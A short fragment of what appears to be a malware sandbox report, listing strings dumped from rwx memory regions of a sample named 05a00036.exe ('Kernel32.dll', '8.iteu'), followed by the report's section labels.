05a00036.exe_292_rwx_00DC0000_00001000:

Kernel32.dll

8.iteu

05a00036.exe_292_rwx_00DD0000_00001000:

Kernel32.dll

8.iteu

Summary

Dynamic Analysis

Removals

Static Analysis

Network Activity

Map

Strings from Dumps